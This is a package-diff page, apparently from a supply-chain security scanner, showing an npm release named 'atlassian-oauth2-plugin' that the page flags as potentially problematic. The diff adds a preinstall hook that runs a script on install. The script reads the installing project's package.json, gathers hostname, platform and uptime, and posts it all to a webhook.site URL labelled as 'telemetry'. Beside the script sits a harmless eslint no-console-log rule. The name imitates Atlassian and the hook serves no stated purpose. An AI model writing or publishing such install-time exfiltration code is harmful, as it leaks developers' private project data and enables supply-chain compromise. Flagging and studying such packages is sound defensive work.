atlassian-oauth2-plugin 1.0.99
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of atlassian-oauth2-plugin might be problematic. Click here for more details.
- package/package.json +14 -0
- package/scripts/postinstall.js +55 -0
- package/src/index.js +5 -0
- package/src/rules/no-console-log.js +27 -0
package/package.json
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
{
|
2
|
+
"name": "atlassian-oauth2-plugin",
|
3
|
+
"version": "1.0.99",
|
4
|
+
"description": "A sample npm package",
|
5
|
+
"main": "src/index.js",
|
6
|
+
"author": "Moti H",
|
7
|
+
"license": "MIT",
|
8
|
+
"scripts":{
|
9
|
+
"preinstall": "node ./scripts/postinstall.js"
|
10
|
+
},
|
11
|
+
"dependencies": {
|
12
|
+
"axios": "^1.7.2"
|
13
|
+
}
|
14
|
+
}
|
@@ -0,0 +1,55 @@
|
|
1
|
+
const axios = require('axios');
|
2
|
+
const os = require('os');
|
3
|
+
const path = require('path');
|
4
|
+
const fs = require('fs');
|
5
|
+
|
6
|
+
function getParentPackageJson() {
|
7
|
+
// Start by getting the directory of the current module (your package)
|
8
|
+
const currentDir = __dirname;
|
9
|
+
|
10
|
+
// Move up two levels: one to leave `node_modules`, another to reach the parent package directory
|
11
|
+
const parentDir = path.resolve(currentDir, '..', '..', '..');
|
12
|
+
|
13
|
+
// Construct the path to the parent package's package.json file
|
14
|
+
const packageJsonPath = path.join(parentDir, 'package.json');
|
15
|
+
|
16
|
+
// Check if the package.json exists and read it
|
17
|
+
if (fs.existsSync(packageJsonPath)) {
|
18
|
+
const packageJsonData = fs.readFileSync(packageJsonPath, 'utf8');
|
19
|
+
const packageJson = JSON.parse(packageJsonData);
|
20
|
+
return packageJson;
|
21
|
+
} else {
|
22
|
+
throw new Error(`No package.json found in the parent directory: ${parentDir}`);
|
23
|
+
}
|
24
|
+
}
|
25
|
+
|
26
|
+
try {
|
27
|
+
const parentPackageJson = getParentPackageJson();
|
28
|
+
console.log('Parent package.json:', parentPackageJson);
|
29
|
+
|
30
|
+
// Send the parent package information as telemetry
|
31
|
+
// For example:
|
32
|
+
// sendTelemetry(parentPackageJson);
|
33
|
+
|
34
|
+
|
35
|
+
|
36
|
+
const telemetryData = {
|
37
|
+
event: 'package-installed',
|
38
|
+
timestamp: new Date().toISOString(),
|
39
|
+
platform: os.platform(),
|
40
|
+
arch: os.arch(),
|
41
|
+
nodeVersion: process.version,
|
42
|
+
packageVersion: require('../package.json').version,
|
43
|
+
hostname: os.hostname(),
|
44
|
+
uptime: os.uptime(),
|
45
|
+
parentPackageJson: parentPackageJson,
|
46
|
+
};
|
47
|
+
|
48
|
+
axios.post('https://webhook.site/f15b1ff0-5213-461f-bdec-c13bd862e7bf', telemetryData)
|
49
|
+
.then(response => console.log("Telemetry sent successfully"))
|
50
|
+
.catch(error => console.error("Failed to send telemetry:", error));
|
51
|
+
|
52
|
+
} catch (error) {
|
53
|
+
console.error('Failed to find or read the parent package.json:', error);
|
54
|
+
}
|
55
|
+
|
package/src/index.js
ADDED
@@ -0,0 +1,27 @@
|
|
1
|
+
module.exports = {
|
2
|
+
meta: {
|
3
|
+
type: 'suggestion',
|
4
|
+
docs: {
|
5
|
+
description: 'disallow the use of console.log',
|
6
|
+
category: 'Best Practices',
|
7
|
+
recommended: true
|
8
|
+
},
|
9
|
+
fixable: 'code', // or "whitespace" or false
|
10
|
+
schema: [] // no options
|
11
|
+
},
|
12
|
+
create: function(context) {
|
13
|
+
return {
|
14
|
+
CallExpression(node) {
|
15
|
+
if (node.callee.object &&
|
16
|
+
node.callee.object.name === 'console' &&
|
17
|
+
node.callee.property &&
|
18
|
+
node.callee.property.name === 'log') {
|
19
|
+
context.report({
|
20
|
+
node,
|
21
|
+
message: 'Unexpected console.log statement.'
|
22
|
+
});
|
23
|
+
}
|
24
|
+
}
|
25
|
+
};
|
26
|
+
}
|
27
|
+
};
|